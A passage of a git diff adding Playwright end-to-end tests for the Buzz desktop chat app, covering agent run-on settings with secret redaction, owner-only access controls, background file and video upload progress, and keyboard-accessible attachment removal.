+  await expect(reactionImg).toHaveCSS("width", "14px");
+  await expect(reactionImg).toHaveCSS("object-fit", "contain");
+  await expect(reactionImg).toHaveCSS("transform", "none");
+  await expect
+    .poll(() =>
+      reactionImg.evaluate((image) => {
+        const imageRect = image.getBoundingClientRect();
+        const pillRect = image.closest("button")?.getBoundingClientRect();
+        if (!(image instanceof HTMLImageElement) || !pillRect) return null;
+        return {
+          naturalHeight: image.naturalHeight,
+          naturalWidth: image.naturalWidth,
+          topOffset: imageRect.top - pillRect.top,
+        };
+      }),
+    )
+    .toEqual({ naturalHeight: 20, naturalWidth: 40, topOffset: 7 });
 
   await expect
     .poll(() => quickReactionStorageContains(page, `:${REACTION_SHORTCODE}:`))
@@ -348,6 +377,15 @@ test("reacting with a custom emoji renders via the loopback media proxy", async
   );
 
   const inlineAddReactionButton = row.getByLabel("Add reaction");
+  // The picker closes with the pointer/focus position depending on animation
+  // timing. Put the row into a deterministic idle state before checking the
+  // pill's pre-existing hidden behavior.
+  await page.mouse.move(0, 0);
+  await page.evaluate(() => {
+    if (document.activeElement instanceof HTMLElement) {
+      document.activeElement.blur();
+    }
+  });
   await expect
     .poll(() =>
       inlineAddReactionButton.evaluate((button) => {
diff --git a/desktop/tests/e2e/edit-agent-run-on.spec.ts b/desktop/tests/e2e/edit-agent-run-on.spec.ts
new file mode 100644
index 0000000000..569c735eec
--- /dev/null
+++ b/desktop/tests/e2e/edit-agent-run-on.spec.ts
@@ -0,0 +1,212 @@
+import { expect, test } from "@playwright/test";
+
+import { waitForAnimations } from "../helpers/animations";
+import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
+
+const SHOTS = "test-results/edit-agent-run-on";
+
+/**
+ * The exact persisted shape of a real kubernetes agent created through the
+ * app ("Loni" in managed-agents.json, traced by Sami in review): eight keys,
+ * `inactivity_seconds` a JSON number, everything else strings, and the
+ * optional `service_account` ABSENT — no schema default means the create
+ * flow never seeds it, so honest fixtures omit it too.
+ */
+const KUBERNETES_CONFIG = {
+  context: "docker-desktop",
+  cpu_limit: "1",
+  cpu_request: "1",
+  image:
+    "ghcr.io/block/buzz-sprig:sha-6530b58@sha256:17facfc7608d8ddb33bc056c9aaba1098f4ef6abe5655702fbfd7584d1f74d76",
+  inactivity_seconds: 7200,
+  memory_limit: "1Gi",
+  memory_request: "1Gi",
+  namespace: "buzz-agents-gfq7aq",
+};
+
+async function openEditDialog(
+  page: import("@playwright/test").Page,
+  agentName: string,
+) {
+  await page.goto("/");
+  await page.getByTestId("open-agents-view").click();
+  await page
+    .getByRole("button", { name: `${agentName} agent profile` })
+    .click();
+  await page.getByTestId("user-profile-edit-agent").click();
+  await expect(page.getByTestId("edit-agent-dialog")).toBeVisible();
+}
+
+test("editing a kubernetes agent shows its saved run-on settings", async ({
+  page,
+}) => {
+  const agent = TEST_IDENTITIES.charlie;
+  await installMockBridge(page, {
+    managedAgents: [
+      {
+        pubkey: agent.pubkey,
+        name: "Remote Helper",
+        status: "running",
+        channelNames: ["general"],
+        respondTo: "owner-only",
+        backend: {
+          type: "provider",
+          id: "kubernetes",
+          config: KUBERNETES_CONFIG,
+        },
+      },
+    ],
+  });
+  await openEditDialog(page, "Remote Helper");
+
+  const runOn = page.getByTestId("edit-agent-run-on");
+  await expect(runOn).toBeVisible();
+  await expect(runOn.getByTestId("edit-agent-run-on-location")).toHaveText(
+    "kubernetes",
+  );
+
+  // Every saved field renders as a labeled row with its stored value.
+  await expect(runOn.getByTestId("edit-agent-run-on-namespace")).toContainText(
+    "buzz-agents-gfq7aq",
+  );
+  await expect(runOn.getByTestId("edit-agent-run-on-context")).toContainText(
+    "docker-desktop",
+  );
+  await expect(runOn.getByTestId("edit-agent-run-on-image")).toContainText(
+    "ghcr.io/block/buzz-sprig",
+  );
+  await expect(
+    runOn.getByTestId("edit-agent-run-on-cpu_request"),
+  ).toContainText("CPU request");
+  await expect(
+    runOn.getByTestId("edit-agent-run-on-inactivity_seconds"),
+  ).toContainText("7200");
+  // Real records omit the optional service_account (no schema default): the
+  // section must show only what was saved, never synthesize a row for it.
+  await expect(
+    runOn.getByTestId("edit-agent-run-on-service_account"),
+  ).toHaveCount(0);
+
+  // The section explains immutability instead of pretending to be a form.
+  await expect(runOn).toContainText("can't be changed afterwards");
+
+  await runOn.scrollIntoViewIfNeeded();
+  await waitForAnimations(page);
+  await page
+    .getByTestId("edit-agent-dialog")
+    .screenshot({ path: `${SHOTS}/kubernetes-run-on.png` });
+});
+
+test("editing a local agent names this computer, with no config rows", async ({
+  page,
+}) => {
+  const agent = TEST_IDENTITIES.tyler;
+  await installMockBridge(page, {
+    managedAgents: [
+      {
+        pubkey: agent.pubkey,
+        name: "Local Helper",
+        status: "stopped",
+        channelNames: ["general"],
+        respondTo: "owner-only",
+        backend: { type: "local" },
+      },
+    ],
+  });
+  await openEditDialog(page, "Local Helper");
+
+  const runOn = page.getByTestId("edit-agent-run-on");
+  await expect(runOn.getByTestId("edit-agent-run-on-location")).toHaveText(
+    "This computer",
+  );
+  await expect(runOn.getByTestId("edit-agent-run-on-namespace")).toHaveCount(0);
+
+  await runOn.scrollIntoViewIfNeeded();
+  await waitForAnimations(page);
+  await page
+    .getByTestId("edit-agent-dialog")
+    .screenshot({ path: `${SHOTS}/local-run-on.png` });
+});
+
+test("a blox agent's single saved field renders with a humanized label", async ({
+  page,
+}) => {
+  // The other real provider shape on developer machines: blox records
+  // persist exactly one key, exercising provider-generic humanization.
+  const agent = TEST_IDENTITIES.bob;
+  await installMockBridge(page, {
+    managedAgents: [
+      {
+        pubkey: agent.pubkey,
+        name: "Blox Helper",
+        status: "running",
+        channelNames: ["general"],
+        respondTo: "owner-only",
+        backend: {
+          type: "provider",
+          id: "blox",
+          config: { workstation_name: "tlongwell-sprout-home" },
+        },
+      },
+    ],
+  });
+  await openEditDialog(page, "Blox Helper");
+
+  const runOn = page.getByTestId("edit-agent-run-on");
+  await expect(runOn.getByTestId("edit-agent-run-on-location")).toHaveText(
+    "blox",
+  );
+  const row = runOn.getByTestId("edit-agent-run-on-workstation_name");
+  await expect(row).toContainText("Workstation name");
+  await expect(row).toContainText("tlongwell-sprout-home");
+
+  await runOn.scrollIntoViewIfNeeded();
+  await waitForAnimations(page);
+  await page
+    .getByTestId("edit-agent-dialog")
+    .screenshot({ path: `${SHOTS}/blox-run-on.png` });
+});
+
+test("secret-shaped keys from an untrusted provider render redacted", async ({
+  page,
+}) => {
+  const agent = TEST_IDENTITIES.charlie;
+  await installMockBridge(page, {
+    managedAgents: [
+      {
+        pubkey: agent.pubkey,
+        name: "Future Provider Agent",
+        status: "running",
+        channelNames: ["general"],
+        respondTo: "owner-only",
+        backend: {
+          type: "provider",
+          id: "some-future-provider",
+          config: {
+            endpoint: "https://provider.example",
+            api_token: "tok-do-not-show",
+          },
+        },
+      },
+    ],
+  });
+  await openEditDialog(page, "Future Provider Agent");
+
+  const runOn = page.getByTestId("edit-agent-run-on");
+  await expect(runOn.getByTestId("edit-agent-run-on-endpoint")).toContainText(
+    "https://provider.example",
+  );
+  const tokenRow = runOn.getByTestId("edit-agent-run-on-api_token");
+  await expect(tokenRow).toContainText("••••••••");
+  await expect(tokenRow).not.toContainText("tok-do-not-show");
+  // The raw secret must not appear anywhere in the dialog.
+  await expect(page.getByTestId("edit-agent-dialog")).not.toContainText(
+    "tok-do-not-show",
+  );
+
+  await runOn.scrollIntoViewIfNeeded();
+  await waitForAnimations(page);
+  await page
+    .getByTestId("edit-agent-dialog")
+    .screenshot({ path: `${SHOTS}/redacted-run-on.png` });
+});
diff --git a/desktop/tests/e2e/edit-agent.spec.ts b/desktop/tests/e2e/edit-agent.spec.ts
index 95ef231556..4c4834b552 100644
--- a/desktop/tests/e2e/edit-agent.spec.ts
+++ b/desktop/tests/e2e/edit-agent.spec.ts
@@ -78,7 +78,82 @@ async function pickDropdownOption(
   await page.getByRole("menuitemradio", { name: optionName }).click();
 }
 
+test.describe("agent definition dialog", () => {
+  test("owner-only-access build shows disabled agent access with an explanation", async ({
+    page,
+  }) => {
+    await installMockBridge(page, {
+      ownerOnlyAccessBuild: true,
+      bakedBuildEnv: BAKED_DEFAULTS,
+    });
+    await page.goto("/");
+    await page.getByTestId("open-agents-view").click();
+    await page.getByTestId("new-agent-card").click();
+    await page.getByRole("menuitem", { name: "Create agent" }).click();
+
+    const dialog = page.getByRole("dialog");
+    await dialog.getByRole("button", { name: "Advanced", exact: true }).click();
+
+    await expect(dialog.getByTestId("agent-respond-to")).toBeVisible();
+    await expect(dialog.locator("#agent-respond-to")).toBeDisabled();
+    await expect(dialog.locator("#agent-respond-to")).toContainText(
+      "Only me (default)",
+    );
+    await expect(
+      dialog.getByTestId("agent-respond-to-disabled-reason"),
+    ).toHaveText("This build disallows changing this setting.");
+  });
+});
+
 test.describe("edit agent dialog", () => {
+  test("owner-only-access build shows a disabled owner-only access control with an explanation", async ({
+    page,
+  }) => {
+    await installMockBridge(page, {
+      ownerOnlyAccessBuild: true,
+      bakedBuildEnv: BAKED_DEFAULTS,
+      managedAgents: [
+        {
+          pubkey: AGENT_PUBKEY,
+          name: AGENT_NAME,
+          status: "stopped",
+          channelNames: ["agents"],
+          respondTo: "anyone",
+        },
+      ],
+    });
+
+    await openEditDialog(page);
+
+    const accessControl = page.getByTestId("agent-respond-to");
+    await expect(accessControl).toBeVisible();
+    await expect(page.locator("#agent-respond-to")).toBeDisabled();
+    await expect(page.locator("#agent-respond-to")).toContainText(
+      "Only me (default)",
+    );
+    await expect(
+      page.getByTestId("agent-respond-to-disabled-reason"),
+    ).toHaveText("This build disallows changing this setting.");
+  });
+
+  test("OSS build keeps the managed-agent access control", async ({ page }) => {
+    await installMockBridge(page, {
+      bakedBuildEnv: BAKED_DEFAULTS,
+      managedAgents: [
+        {
+          pubkey: AGENT_PUBKEY,
+          name: AGENT_NAME,
+          status: "stopped",
+          channelNames: ["agents"],
+        },
+      ],
+    });
+
+    await openEditDialog(page);
+
+    await expect(page.getByTestId("agent-respond-to")).toBeVisible();
+  });
+
   test("edits the agent name and persists it across a dialog reopen", async ({
     page,
   }) => {
diff --git a/desktop/tests/e2e/empty-edit-delete.spec.ts b/desktop/tests/e2e/empty-edit-delete.spec.ts
index 772506571b..23a890ee29 100644
--- a/desktop/tests/e2e/empty-edit-delete.spec.ts
+++ b/desktop/tests/e2e/empty-edit-delete.spec.ts
@@ -59,7 +59,7 @@ test("clearing an edit to empty prompts to delete, then deletes on confirm", asy
   // The same "Delete message?" confirmation the Delete menu action shows — an
   // empty edit is routed through it, not silently deleted.
   const dialog = page.getByRole("alertdialog");
-  await expect(dialog).toBeVisible({ timeout: 5_000 });
+  await expect(dialog).toBeVisible({ timeout: 10_000 });
   await expect(dialog).toContainText("Delete message?");
   // Edit mode stays active while the dialog is open — it exits only on confirm.
   await expect(page.getByTestId("edit-target")).toBeVisible();
@@ -78,7 +78,7 @@ test("cancelling the empty-edit delete keeps the message", async ({ page }) => {
   await submitEmptyEdit(page, OWN_MESSAGE_ID);
 
   const dialog = page.getByRole("alertdialog");
-  await expect(dialog).toBeVisible({ timeout: 5_000 });
+  await expect(dialog).toBeVisible({ timeout: 10_000 });
 
   // Cancel → nothing is deleted, the original message survives, and the user is
   // left in edit mode (the editing session is preserved, not discarded).
@@ -109,7 +109,7 @@ test("a non-empty edit still edits and never deletes", async ({ page }) => {
 
   // No delete confirmation, edit mode exits, the row survives with new text.
   await expect(page.getByRole("alertdialog")).toHaveCount(0);
-  await expect(page.getByTestId("edit-target")).toBeHidden({ timeout: 5_000 });
+  await expect(page.getByTestId("edit-target")).toBeHidden({ timeout: 10_000 });
   await expect(row).toBeVisible();
   await expect(page.getByTestId("message-timeline")).toContainText(
     editedContent,
diff --git a/desktop/tests/e2e/file-attachment.spec.ts b/desktop/tests/e2e/file-attachment.spec.ts
index 403d26c136..92cd424a3e 100644
--- a/desktop/tests/e2e/file-attachment.spec.ts
+++ b/desktop/tests/e2e/file-attachment.spec.ts
@@ -1,8 +1,19 @@
 import { expect, test } from "@playwright/test";
+import type { Page } from "@playwright/test";
 
+import { waitForAnimations } from "../helpers/animations";
 import { installMockBridge } from "../helpers/bridge";
 import { expectCornerRadiusPx, expectSmoothCorners } from "../helpers/css";
 
+async function openMoreActionsMenu(page: Page, messageId: string) {
+  const row = page.locator(`[data-message-id="${messageId}"]`);
+  await row.hover();
+  await page.getByTestId(`more-actions-${messageId}`).click();
+  await expect(page.locator('[role="menuitem"]').first()).toBeVisible({
+    timeout: 5_000,
+  });
+}
+
 // Exercises the generic file-attachment UI contract end-to-end through the
 // mock Tauri bridge: paperclip upload → composer chip → send → FileCard in the
 // timeline. This guards the frontend wiring (the riskiest, previously
@@ -11,6 +22,7 @@ import { expectCornerRadiusPx, expectSmoothCorners } from "../helpers/css";
 
 test.beforeEach(async ({ page }) => {
   await installMockBridge(page, {
+    deferredComposerUploads: true,
     uploadDescriptors: [
       {
         url: `https://mock.relay/media/${"a".repeat(64)}.pdf`,
@@ -24,13 +36,132 @@ test.beforeEach(async ({ page }) => {
   });
 });
 
+async function chooseQuarterlyReport(page: Page) {
+  const [chooser] = await Promise.all([
+    page.waitForEvent("filechooser"),
+    page.getByRole("button", { name: "Attach file" }).click(),
+  ]);
+  await chooser.setFiles({
+    buffer: Buffer.from("quarterly report"),
+    mimeType: "application/pdf",
+    name: "quarterly-report.pdf",
+  });
+}
+
+/**
+ * Big enough to exercise the progress UI, small enough to clear the 10 MiB
+ * client cap in `mediaSizeLimit.ts` — upstream's 16 MiB buffer is refused by
+ * the composer before it can queue, so every "large video" test would fail.
+ */
+const LARGE_VIDEO_BYTES = 8 * 1024 * 1024;
+
+async function chooseLargeVideo(page: Page) {
+  const [chooser] = await Promise.all([
+    page.waitForEvent("filechooser"),
+    page.getByRole("button", { name: "Attach file" }).click(),
+  ]);
+  await chooser.setFiles({
+    buffer: Buffer.alloc(LARGE_VIDEO_BYTES, 1),
+    mimeType: "video/mp4",
+    name: "large-video.mp4",
+  });
+}
+
+async function choosePhoto(page: Page) {
+  const [chooser] = await Promise.all([
+    page.waitForEvent("filechooser"),
+    page.getByRole("button", { name: "Attach file" }).click(),
+  ]);
+  await chooser.setFiles({
+    buffer: Buffer.from("photo"),
+    mimeType: "image/png",
+    name: "photo.png",
+  });
+}
+
+test("photos upload before Send without a queued spoiler control", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.evaluate(() => {
+    const e2e = (
+      window as Window & {
+        __BUZZ_E2E__?: { mock?: { uploadDelayMs?: number } };
+      }
+    ).__BUZZ_E2E__;
+    if (e2e?.mock) e2e.mock.uploadDelayMs = 1_000;
+  });
+  await page.getByTestId("channel-general").click();
+  await choosePhoto(page);
+
+  await expect(page.getByTestId("upload-progress")).toBeVisible();
+  await expect(page.getByTestId("composer-queued-video-spoiler")).toHaveCount(
+    0,
+  );
+  // Photos upload immediately, so they are in neither `pendingImeta` nor the
+  // queued list until the upload lands: Send stays blocked so the message
+  // cannot publish without the attachment.
+  await expect(page.getByTestId("send-message")).toBeDisabled();
+  await expect(page.getByTestId("upload-progress")).toHaveCount(0, {
+    timeout: 5_000,
+  });
+  await expect(page.getByTestId("composer-upload-progress")).toHaveCount(0);
+  await expect(page.getByTestId("send-message")).toBeEnabled();
+
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window as Window & { __BUZZ_E2E_COMMANDS__?: string[] })
+            .__BUZZ_E2E_COMMANDS__ ?? [],
+      ),
+    )
+    .toContain("upload_media_bytes_raw");
+});
+
+test("opening edit during an immediate photo upload preserves the draft", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.evaluate(() => {
+    const e2e = (
+      window as Window & {
+        __BUZZ_E2E__?: { mock?: { uploadDelayMs?: number } };
+      }
+    ).__BUZZ_E2E__;
+    if (e2e?.mock) e2e.mock.uploadDelayMs = 1_000;
+  });
+  await page.getByTestId("channel-general").click();
+  await choosePhoto(page);
+  await expect(page.getByTestId("upload-progress")).toBeVisible();
+
+  await openMoreActionsMenu(page, "mock-general-welcome");
+  await page.getByTestId("edit-message-mock-general-welcome").click();
+
+  // Edit entry is rejected while the compacted draft cannot represent the
+  // reserved upload slot. The upload remains current and lands in the draft.
+  await expect(page.getByTestId("edit-target")).toHaveCount(0);
+  await expect(page.getByTestId("upload-progress")).toBeVisible();
+  await expect(page.getByTestId("upload-progress")).toHaveCount(0, {
+    timeout: 5_000,
+  });
+  await expect(page.getByTestId("message-composer")).toContainText(
+    "quarterly-report.pdf",
+  );
+
+  // Once settled, the same edit action enters edit mode normally.
+  await openMoreActionsMenu(page, "mock-general-welcome");
+  await page.getByTestId("edit-message-mock-general-welcome").click();
+  await expect(page.getByTestId("edit-target")).toBeVisible();
+});
+
 test("upload a file and see a FileCard in the timeline", async ({ page }) => {
   await page.goto("/");
   await page.getByTestId("channel-general").click();
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
-  // Paperclip → mocked pick_and_upload_media returns the PDF descriptor.
-  await page.getByRole("button", { name: "Attach image" }).click();
+  // Non-video files keep the established immediate-upload behavior.
+  await chooseQuarterlyReport(page);
 
   // The composer shows a chip with the original filename.
   await expect(page.getByTestId("message-composer")).toContainText(
@@ -63,6 +194,216 @@ test("upload a file and see a FileCard in the timeline", async ({ page }) => {
     .toContain("download_file");
 });
 
+test("sends immediately and keeps upload progress across channels", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.evaluate(() => {
+    const e2e = (
+      window as Window & {
+        __BUZZ_E2E__?: { mock?: { uploadDelayMs?: number } };
+      }
+    ).__BUZZ_E2E__;
+    if (e2e?.mock) e2e.mock.uploadDelayMs = 1_000;
+  });
+  await page.getByTestId("channel-general").click();
+  await chooseLargeVideo(page);
+
+  await expect(page.getByTestId("composer-upload-progress")).toHaveCount(0);
+  await expect(page.getByTestId("composer-video-spoiler")).toHaveCount(0);
+  const queuedSpoiler = page.getByTestId("composer-queued-video-spoiler");
+  // Revealed on hover rather than removed from the DOM: the control stays
+  // focusable so keyboard users can reach it, but is transparent and
+  // click-through until the thumbnail is hovered or focused.
+  await expect(queuedSpoiler).toHaveCSS("opacity", "0");
+  await expect(queuedSpoiler).toHaveCSS("pointer-events", "none");
+  await page.getByTestId("composer-queued-media-attachment").hover();
+  await expect(queuedSpoiler).toBeVisible();
+  await expect(queuedSpoiler).toHaveCSS("opacity", "1");
+  await page.getByTestId("send-message").click();
+
+  await expect(page.getByTestId("message-composer")).not.toContainText(
+    "large-video.mp4",
+  );
+  await expect(page.getByTestId("composer-upload-progress")).toBeVisible();
+
+  await page.getByTestId("channel-random").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("random");
+  await expect(page.getByTestId("composer-upload-progress")).toBeVisible();
+  await expect(page.getByTestId("composer-upload-progress")).toHaveCount(0, {
+    timeout: 5_000,
+  });
+
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("file-card").last()).toContainText(
+    "quarterly-report.pdf",
+  );
+});
+
+test("shows upload feedback before transferring a large file", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.evaluate(() => {
+    const e2e = (
+      window as Window & {
+        __BUZZ_E2E__?: { mock?: { uploadDelayMs?: number } };
+      }
+    ).__BUZZ_E2E__;
+    if (e2e?.mock) e2e.mock.uploadDelayMs = 5_000;
+  });
+  await page.getByTestId("channel-general").click();
+  await chooseLargeVideo(page);
+
+  const progress = page.getByTestId("composer-upload-progress");
+  await Promise.all([
+    page.getByTestId("send-message").click(),
+    expect(progress).toBeVisible({ timeout: 800 }),
+  ]);
+  await expect(progress).toHaveAttribute("aria-label", "Preparing");
+  await expect(page.getByTestId("composer-upload-spinner")).toBeVisible();
+  await expect(page.getByTestId("composer-upload-percentage")).toHaveCount(0);
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (
+            window as Window & {
+              __BUZZ_E2E_COMMAND_PAYLOADS__?: Array<{
+                command: string;
+                payload: { rawByteLength?: number } | null;
+              }>;
+            }
+          ).__BUZZ_E2E_COMMAND_PAYLOADS__ ?? [],
+      ),
+    )
+    .toContainEqual({
+      command: "upload_media_bytes_raw",
+      payload: { rawByteLength: LARGE_VIDEO_BYTES },
+    });
+
+  const uploadId = "background-media-upload-0-0";
+  await page.evaluate(async (id) => {
+    await window.__BUZZ_E2E_EMIT_MEDIA_UPLOAD_PHASE__?.({
+      id,
+      phase: "processing-video",
+    });
+  }, uploadId);
+  await expect(progress).toHaveAttribute("aria-label", "Processing");
+  await waitForAnimations(page);
+  const processingPhaseBox = await page
+    .getByTestId("composer-upload-phase")
+    .boundingBox();
+  const processingStatusBox = await page
+    .getByTestId("composer-upload-status")
+    .boundingBox();
+  expect(processingPhaseBox).not.toBeNull();
+  expect(processingStatusBox).not.toBeNull();
+  expect(
+    (processingStatusBox?.x ?? 0) -
+      ((processingPhaseBox?.x ?? 0) + (processingPhaseBox?.width ?? 0)),
+  ).toBeGreaterThanOrEqual(3);
+  await expect(page.getByTestId("composer-upload-spinner")).toBeVisible();
+  await expect(page.getByTestId("composer-upload-percentage")).toHaveCount(0);
+
+  await page.evaluate(async (id) => {
+    await window.__BUZZ_E2E_EMIT_MEDIA_UPLOAD_PHASE__?.({
+      id,
+      phase: "uploading",
+    });
+    await window.__BUZZ_E2E_EMIT_MEDIA_UPLOAD_PROGRESS__?.({
+      id,
+      sent: 42,
+      total: 100,
+    });
+  }, uploadId);
+  await expect(progress).toHaveAttribute("aria-label", "Uploading 42%");
+  await waitForAnimations(page);
+  await expect(page.getByTestId("composer-upload-spinner")).toHaveCount(0);
+  await expect(page.getByTestId("composer-upload-percentage")).toHaveText(
+    "42%",
+  );
+
+  await page.getByTestId("composer-upload-cancel").click();
+});
+
+test("canceling a background upload prevents the message from publishing", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.evaluate(() => {
+    const e2e = (
+      window as Window & {
+        __BUZZ_E2E__?: { mock?: { uploadDelayMs?: number } };
+      }
+    ).__BUZZ_E2E__;
+    if (e2e?.mock) e2e.mock.uploadDelayMs = 1_000;
+  });
+  await page.getByTestId("channel-general").click();
+  await chooseLargeVideo(page);
+  await page.getByTestId("send-message").click();
+
+  await page.getByTestId("composer-upload-cancel").click();
+  await expect(page.getByTestId("composer-upload-progress")).toHaveCount(0);
+  await page.waitForTimeout(1_100);
+  await expect(page.getByTestId("file-card")).toHaveCount(0);
+});
+
+test("upload progress floats above the dock and lifts Jump to latest", async ({
+  page,
+}) => {
+  await page.goto("/");
+  await page.evaluate(() => {
+    const e2e = (
+      window as Window & {
+        __BUZZ_E2E__?: { mock?: { uploadDelayMs?: number } };
+      }
+    ).__BUZZ_E2E__;
+    if (e2e?.mock) e2e.mock.uploadDelayMs = 2_000;
+  });
+  await page.getByTestId("channel-deep-history").click();
+
+  const timeline = page.getByTestId("message-timeline");
+  await expect(timeline.locator("[data-message-id]").first()).toBeVisible();
+  await timeline.evaluate((element) => {
+    element.scrollTop = Math.max(500, element.scrollHeight / 2);
+    element.dispatchEvent(new Event("scroll", { bubbles: true }));
+  });
+  const jumpToLatest = page.getByTestId("message-scroll-to-latest");
+  await expect(jumpToLatest).toBeVisible();
+  const restingBox = await jumpToLatest.boundingBox();
+
+  await chooseLargeVideo(page);
+  await page.getByTestId("send-message").click();
+  const uploadMotion = page.getByTestId("composer-upload-progress-motion");
+  await expect(uploadMotion).toBeVisible();
+  await timeline.evaluate((element) => {
+    element.scrollTop = Math.max(500, element.scrollHeight / 2);
+    element.dispatchEvent(new Event("scroll", { bubbles: true }));
+  });
+  await expect(jumpToLatest).toBeVisible();
+  await page.waitForTimeout(250);
+
+  const [uploadBox, dockBackdropBox, liftedBox] = await Promise.all([
+    uploadMotion.boundingBox(),
+    page.getByTestId("composer-dock-backdrop").boundingBox(),
+    jumpToLatest.boundingBox(),
+  ]);
+  expect(restingBox).not.toBeNull();
+  expect(uploadBox).not.toBeNull();
+  expect(dockBackdropBox).not.toBeNull();
+  expect(liftedBox).not.toBeNull();
+  expect((dockBackdropBox?.y ?? 0) + 1).toBeGreaterThanOrEqual(
+    (uploadBox?.y ?? 0) + (uploadBox?.height ?? 0),
+  );
+  expect((liftedBox?.y ?? 0) + (liftedBox?.height ?? 0)).toBeLessThanOrEqual(
+    uploadBox?.y ?? 0,
+  );
+  expect(liftedBox?.y ?? 0).toBeLessThan((restingBox?.y ?? 0) - 10);
+
+  await page.getByTestId("composer-upload-cancel").click();
+});
+
 test("dropping a file on the channel column attaches it to the composer", async ({
   page,
 }) => {
@@ -208,7 +549,7 @@ test("forum posts emit a FileCard for generic attachments, not a broken image",
   await page.getByRole("button", { name: "Start a new post..." }).click();
 
   // Paperclip → mocked pick_and_upload_media returns the PDF descriptor.
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
 
   // Submit the (attachment-only) forum post.
   await page.getByTestId("send-message").click();
@@ -231,3 +572,89 @@ test("forum posts emit a FileCard for generic attachments, not a broken image",
     )
     .toContain("download_file");
 });
+
+test("a queued attachment can be removed without a mouse", async ({ page }) => {
+  // Regression: the queued remove badge is revealed on hover, but hiding it
+  // with `display: none` made it unfocusable, leaving keyboard-only users no
+  // way to drop a queued video before sending.
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await chooseLargeVideo(page);
+
+  const queued = page.getByTestId("composer-queued-media-attachment");
+  await expect(queued).toBeVisible();
+
+  const remove = queued.getByRole("button", { name: "Remove attachment" });
+  // Focusable while transparent — this is what `display: none` prevented.
+  await remove.focus();
+  await expect(remove).toBeFocused();
+  // Focus reveals it, so the user can see what they are about to activate.
+  await expect(remove).toHaveCSS("opacity", "1");
+
+  await page.keyboard.press("Enter");
+  await expect(queued).toHaveCount(0);
+  await expect(page.getByTestId("message-composer")).not.toContainText(
+    "large-video.mp4",
+  );
+});
+
+test("an uploaded attachment's remove button is named and keyboard-operable", async ({
+  page,
+}) => {
+  // Companion to the queued case: these badges are now in the tab order, so
+  // every icon-only remove button needs an accessible name a screen reader can
+  // read. Images and non-media files render through different branches, so
+  // both are checked here.
+  await installMockBridge(page, {
+    deferredComposerUploads: true,
+    uploadDescriptors: [
+      {
+        url: `https://mock.relay/media/${"b".repeat(64)}.png`,
+        sha256: "b".repeat(64),
+        size: 2048,
+        type: "image/png",
+        uploaded: Math.floor(Date.now() / 1000),
+        dim: "320x200",
+        filename: "photo.png",
+      },
+    ],
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+
+  const composer = page.getByTestId("message-composer");
+  const remove = composer.getByRole("button", { name: "Remove attachment" });
+
+  // Image attachment (MediaAttachmentItem).
+  await choosePhoto(page);
+  await expect(composer.getByTestId("composer-media-attachment")).toBeVisible();
+  await expect(remove).toHaveCount(1);
+  await remove.focus();
+  await expect(remove).toBeFocused();
+  await expect(remove).toHaveCSS("opacity", "1");
+  await page.keyboard.press("Enter");
+  await expect(composer.getByTestId("composer-media-attachment")).toHaveCount(
+    0,
+  );
+});
+
+test("a non-media attachment's remove button is named and keyboard-operable", async ({
+  page,
+}) => {
+  // The file-card branch renders its own remove badge, so it needs the same
+  // accessible name as the image and queued ones.
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await chooseQuarterlyReport(page);
+
+  const composer = page.getByTestId("message-composer");
+  await expect(composer).toContainText("quarterly-report.pdf");
+
+  const remove = composer.getByRole("button", { name: "Remove attachment" });
+  await expect(remove).toHaveCount(1);
+  await remove.focus();
+  await expect(remove).toBeFocused();
+  await expect(remove).toHaveCSS("opacity", "1");
+  await page.keyboard.press("Enter");
+  await expect(composer).not.toContainText("quarterly-report.pdf");
+});
diff --git a/desktop/tests/e2e/global-agent-config-screenshots.spec.ts b/desktop/tests/e2e/global-agent-config-screenshots.spec.ts
index 7ec1daa236..451989fb7f 100644
--- a/desktop/tests/e2e/global-agent-config-screenshots.spec.ts
+++ b/desktop/tests/e2e/global-agent-config-screenshots.spec.ts
@@ -226,6 +226,7 @@ test.describe("global agent config screenshots", () => {
     await page
       .getByTestId("global-agent-default-harness-option-claude")
       .click();
+    await waitForAnimations(page);
     await expect(page.getByTestId("global-agent-model")).toHaveText(
       /Default model/,
     );
@@ -980,4 +981,44 @@ test.describe("global agent config screenshots", () => {
       path: `${SHOTS}/11-edit-runtime-less-provider-required-save-blocked.png`,
     });
   });
+
+  // Will's exact stuck path: databricks_v2 global provider + saved global
+  // OPENAI_API_KEY.  The cue must be visible without opening Advanced; once
+  // Advanced is opened the annotation must appear on the matching row.
+  test("card-mint-key-cue-visible-and-annotation-in-advanced", async ({
+    page,
+  }) => {
+    await installMockBridge(page, {
+      globalAgentConfig: {
+        provider: "databricks_v2",
+        model: null,
+        preferred_runtime: "buzz-agent",
+        env_vars: { OPENAI_API_KEY: "sk-placeholder" },
+      },
+    });
+
+    await openAiDefaultsSettings(page);
+
+    const card = page.getByTestId("settings-global-agent-config");
+
+    // The cue must be visible without the user opening Advanced.
+    await expect(card.getByTestId("card-mint-key-cue")).toBeVisible();
+    await expect(card.getByTestId("card-mint-key-cue")).toContainText(
+      "OPENAI_API_KEY",
+    );
+    await expect(card.getByTestId("card-mint-key-cue")).toContainText(
+      "Advanced → Environment variables",
+    );
+
+    // Advanced is collapsed at this point.
+    const advancedToggle = card.getByTestId("global-agent-advanced-toggle");
+    await expect(advancedToggle).toHaveAttribute("aria-expanded", "false");
+
+    // Open Advanced — the OPENAI_API_KEY row's annotation must be visible.
+    await advancedToggle.click();
+    await expect(advancedToggle).toHaveAttribute("aria-expanded", "true");
+    await expect(
+      card.getByText("Used for minting agent trading cards"),
+    ).toBeVisible();
+  });
 });
diff --git a/desktop/tests/e2e/huddle-transcription.spec.ts b/desktop/tests/e2e/huddle-transcription.spec.ts
